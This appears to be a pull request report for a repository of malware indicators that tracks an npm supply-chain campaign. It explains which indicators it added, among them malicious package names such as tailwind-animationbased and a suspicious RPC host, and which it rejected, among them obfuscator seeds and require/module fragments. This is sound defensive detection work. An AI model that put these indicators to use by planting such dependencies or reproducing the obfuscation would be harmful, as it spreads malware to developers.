The signatures have not rotated again: the two obfuscator variants in the April dossier, rmcej%otb% and Cot%3t=shtP, are still the two in circulation.

Added

All three are gaps against a source this repository already cites, not fresh intelligence. They should have been carried from the first release.

Both package names had zero observed victim repositories at the time of the April hunt, which is presumably why they were skipped. A ghost dependency reference in a package.json outlives the registry entry npm scrubbed, so the names are still worth matching.

Verified against fixtures before the pull request was opened: a package.json naming tailwind-animationbased returns INFECTED; a file containing bsc-rpc.publicnode.com returns review; and a package.json depending on the real, popular tailwindcss-animate returns zero findings — fixed-string matching means the longer malicious name matches only itself.

Considered and not added

• Obfuscator shuffle seeds 2857687, 2667686 (variant 1) and 1111436, 3896884 (variant 2). The dossier’s YARA rule uses them, but only in conjunction with a marker or a decoder name. ioc/ is matched as fixed strings with no conjunction, so on its own each one flags any file containing that seven-digit number.
• global['r'] = require and global['m'] = module, the two strings the dossier’s YARA rule treats as common across both variants. These are how you would catch a third variant that had rotated its marker, which makes them tempting, but the exact spacing is an artefact of one generator’s output and minification breaks the match. This wants a regex check in the scanner, not a fixed string in ioc/, and that is a maintainer decision.

Open gaps

The July 2026 ecosystem expansion is not in ioc/ at all. Socket counted 162 malicious release artifacts across 108 packages spanning npm, Packagist, Go modules and one Chrome extension, and Checkmarx documented the ChainVeil and ViteVenom npm clusters that OpenSourceMalware then attributed to this actor. The main README’s scale table already records the counts; not one of those package names is matchable by the scanner.

This is the largest known hole in the indicator set. Nothing from it was added here because the package lists were behind the review environment’s egress allowlist, and an indicator that was not read from its source does not belong in ioc/. Closing it needs a deliberate pass from a machine that can reach the Socket and Checkmarx reports, not a weekly sweep.

Notes

• No page or repository read during this review attempted to give the reviewer instructions.
• The commits on #30 were written through the GitHub contents API and came back unsigned: that API applies GitHub’s web-flow signature only for GitHub App installation tokens, and the review job authenticates as a user. The GraphQL createCommitOnBranch mutation, which always signs, is not available in the sandbox. #30 was squash-merged, which is the fix — GitHub builds and signs the squash commit itself, so main stayed fully verified. Squash is the merge method for these pull requests from now on.